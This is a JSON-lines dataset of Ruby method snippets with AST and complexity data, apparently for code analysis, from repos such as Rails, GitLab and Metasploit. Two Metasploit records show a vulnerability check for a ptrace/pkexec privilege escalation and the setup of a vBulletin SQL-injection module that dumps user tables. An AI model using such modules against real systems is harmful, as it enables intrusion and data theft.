end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"account_inactive\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"flash_now\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"registered?\"]},{\"type\":\"send\",\"children\":[null,\"account_not_activated\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flash_now\"]},{\"type\":\"lvar\",\"children\":[\"flash_now\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"flash_and_log_invalid_credentials\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flash_now\"]},{\"type\":\"lvar\",\"children\":[\"flash_now\"]}]}]}]}]}]}","id":"8107e942-a5cc-4fc6-a2df-ca62859656e0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/extension_test.rb","start_line":83,"raw_source":"def test_association_with_default_scope\n    assert_raises OopsError do\n      posts(:welcome).comments.destroy_all\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_association_with_default_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"OopsError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]},\"comments\"]},\"destroy_all\"]}]}]}","id":"9b56f180-c8e9-4806-a4c7-52abb30337dc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb","start_line":72,"raw_source":"def check\n    # Introduced in 4.10, but also backported\n    # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17\n    release = kernel_release\n    v = Rex::Version.new release.split('-').first\n\n    if v >= Rex::Version.new('5.1.17') || v < Rex::Version.new('3')\n      vprint_error \"Kernel version #{release} is not vulnerable\"\n      return CheckCode::Safe\n    end\n    vprint_good \"Kernel version #{release} appears to be vulnerable\"\n\n    unless command_exists? 'pkexec'\n      vprint_error 'pkexec is not installed'\n      return CheckCode::Safe\n    end\n    vprint_good 'pkexec is installed'\n\n    arch = kernel_hardware\n    unless arch.include? 'x86_64'\n      vprint_error \"System architecture #{arch} is not supported\"\n      return CheckCode::Safe\n    end\n    vprint_good \"System architecture #{arch} is supported\"\n\n    loginctl_output = cmd_exec('loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | grep Remote')\n    if loginctl_output =~ /Remote=yes/\n      print_warning 'This exploit requires a valid policykit session (it cannot be executed over ssh)'\n      return CheckCode::Safe\n    end\n\n    CheckCode::Appears\n  end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"release\",{\"type\":\"send\",\"children\":[null,\"kernel_release\"]}]},{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.1.17\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Kernel version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]}]},{\"type\":\"str\",\"children\":[\" is not vulnerable\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Kernel version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]}]},{\"type\":\"str\",\"children\":[\" appears to be vulnerable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"pkexec\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"pkexec is not installed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"pkexec is installed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[null,\"kernel_hardware\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"include?\",{\"type\":\"str\",\"children\":[\"x86_64\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"System architecture \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" is not supported\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"System architecture \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" is supported\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loginctl_output\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"loginctl --no-ask-password show-session \\\"$XDG_SESSION_ID\\\" | grep Remote\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loginctl_output\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Remote=yes\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"This exploit requires a valid policykit session (it cannot be executed over ssh)\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]}","id":"c413b2da-8fa5-4967-9a59-6fdc05a04893"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/vbulletin_getindexablecontent_sqli.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection',\n        'Description' => %q{\n          This module exploits a SQL injection vulnerability found in vBulletin 5.x.x to dump the user\n          table information or to dump all of the vBulletin tables (based on the selected options). This\n          module has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE\n          'Zenofex <zenofex[at]exploitee.rs>' # (@zenofex) PoC and Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2020-12720']\n        ],\n        'Actions' => [\n          ['DumpUser', { 'Description' => 'Dump only user table used by vbulletin.' }],\n          ['DumpAll', { 'Description' => 'Dump all tables used by vbulletin.' }]\n        ],\n        'DefaultAction' => 'DumpUser',\n        'DisclosureDate' => '2020-03-12',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options([\n      OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']),\n      OptInt.new('NODE', [false, 'Valid Node ID']),\n      OptInt.new('MINNODE', [true, 'Valid Node ID', 1]),\n      OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]),\n    ])\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a SQL injection vulnerability found in vBulletin 5.x.x to dump the user\\n\"]},{\"type\":\"str\",\"children\":[\"          table information or to dump all of the vBulletin tables (based on the selected options). This\\n\"]},{\"type\":\"str\",\"children\":[\"          module has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Charles Fol <folcharles[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Zenofex <zenofex[at]exploitee.rs>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-12720\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DumpUser\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Dump only user table used by vbulletin.\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DumpAll\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Dump all tables used by vbulletin.\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"DumpUser\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-03-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to vBulletin\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"NODE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Valid Node ID\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"MINNODE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Valid Node ID\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"MAXNODE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Valid Node ID\"]},{\"type\":\"int\",\"children\":[200]}]}]}]}]}]}]}","id":"73c620c3-0f09-4dc8-b43a-d40acb7a0aab"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_buf_file.rb","start_line":1374,"raw_source":"def setup\n      Fluent::Test.setup\n\n      @now = Time.local(2025, 5, 30, 17, 0, 0)\n      @base_dir = File.expand_path(\"../../tmp/evacuate_chunk\", __FILE__)\n      @buf_dir = File.join(@base_dir, \"buffer\")\n      @root_dir = File.join(@base_dir, \"root\")\n      FileUtils.mkdir_p(@root_dir)\n\n      Fluent::SystemConfig.overwrite_system_config(\"root_dir\" => @root_dir) do\n        Timecop.freeze(@now)\n        yield\n      end\n    ensure\n      Timecop.return\n      FileUtils.rm_rf(@base_dir)\n    end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"setup\"]},{\"type\":\"ivasgn\",\"children\":[\"@now\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2025]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[30]},{\"type\":\"int\",\"children\":[17]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../tmp/evacuate_chunk\"]},{\"type\":\"str\",\"children\":[\"(method)\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@buf_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@base_dir\"]},{\"type\":\"str\",\"children\":[\"buffer\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@root_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@base_dir\"]},{\"type\":\"str\",\"children\":[\"root\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"ivar\",\"children\":[\"@root_dir\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"SystemConfig\"]},\"overwrite_system_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"root_dir\"]},{\"type\":\"ivar\",\"children\":[\"@root_dir\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timecop\"]},\"freeze\",{\"type\":\"ivar\",\"children\":[\"@now\"]}]},{\"type\":\"yield\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timecop\"]},\"return\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"ivar\",\"children\":[\"@base_dir\"]}]}]}]}]}","id":"8f96733a-a787-4353-a2ee-d3967b3aa075"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/atom_feed_helper_test.rb","start_line":320,"raw_source":"def test_feed_xml_processing_instructions\n    with_restful_routing(:scrolls) do\n      get :index, params: { id: \"feed_with_xml_processing_instructions\" }\n      assert_match %r{<\\?xml-stylesheet [^?]*type=\"text/css\"}, @response.body\n      assert_match %r{<\\?xml-stylesheet [^?]*href=\"t\\.css\"}, @response.body\n    end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_feed_xml_processing_instructions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_restful_routing\",{\"type\":\"sym\",\"children\":[\"scrolls\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"feed_with_xml_processing_instructions\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<\\\\?xml-stylesheet [^?]*type=\\\"text/css\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<\\\\?xml-stylesheet [^?]*href=\\\"t\\\\.css\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}]}","id":"a3b1af73-8826-435e-bfd4-e79dd85aafd6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/status_policy.rb","start_line":55,"raw_source":"def private?\n    record.private_visibility?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"private?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"private_visibility?\"]}]}","id":"75041538-7fc9-4425-a1e5-7ecbb5fead1d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/create_pipeline_service.rb","start_line":137,"raw_source":"def execute_async(source, options)\n      pipeline_creation_request = ::Ci::PipelineCreation::Requests.start_for_project(project)\n      creation_params = params.merge(pipeline_creation_request: pipeline_creation_request)\n\n      ::CreatePipelineWorker.perform_async(\n        project.id, current_user.id, params[:ref], source.to_s,\n        options.stringify_keys, creation_params.except(:ref).stringify_keys\n      )\n\n      ServiceResponse.success(payload: pipeline_creation_request['id'])\n    end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_async\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline_creation_request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PipelineCreation\"]},\"Requests\"]},\"start_for_project\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"creation_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_creation_request\"]},{\"type\":\"lvar\",\"children\":[\"pipeline_creation_request\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"CreatePipelineWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"stringify_keys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creation_params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"ref\"]}]},\"stringify_keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_creation_request\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"3c4651a9-7620-42a2-bf4b-ae840d71de52"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/column_type/with_identifier_metadata.rb","start_line":41,"raw_source":"def metadata_for_raw_value(raw_value, *)\n        super.merge(identifier: to_identifier(raw_value))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata_for_raw_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_value\"]},{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[null,\"to_identifier\",{\"type\":\"lvar\",\"children\":[\"raw_value\"]}]}]}]}]}]}","id":"e1c072ca-4960-4cbb-ac1c-69d2df54ba92"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/screengrab/spec/spec_helper.rb","start_line":18,"raw_source":"def strip_heredoc(str)\n  str.gsub(/^#{str.scan(/^[ \\t]*(?=\\S)/).min}/, \"\".freeze)\nend","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_heredoc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[ \\\\t]*(?=\\\\S)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"min\"]}]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"freeze\"]}]}]}","id":"a951739f-2dcf-48c6-95f3-46dc7a3fa88a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/formatter/graceful_formatter.rb","start_line":64,"raw_source":"def self.grace_period?(cop_name, config)\n        details = config[CONFIG_DETAILS_KEY]\n        return false unless details\n        return true if details == CONFIG_DETAILS_VALUE\n\n        warn \"#{cop_name}: Unhandled value #{details.inspect} for `Details` key.\"\n\n        false\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"grace_period?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop_name\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"details\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"CONFIG_DETAILS_KEY\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"CONFIG_DETAILS_VALUE\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_name\"]}]},{\"type\":\"str\",\"children\":[\": Unhandled value \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" for `Details` key.\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"1bc5bc1f-0fcf-467e-9569-ee56ad1e949d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/wiki_helper.rb","start_line":167,"raw_source":"def wiki_page_render_api_endpoint_params(page)\n    {\n      id: page.container.id,\n      slug: ERB::Util.url_encode(page.slug).gsub(/%2f/i, '/'),\n      params: { version: page.version.id }\n    }\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_page_render_api_endpoint_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"container\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"url_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"slug\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%2f\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"version\"]},\"id\"]}]}]}]}]}]}","id":"5c78b571-feb7-4dd7-a3eb-f95f1aeefcfd"}
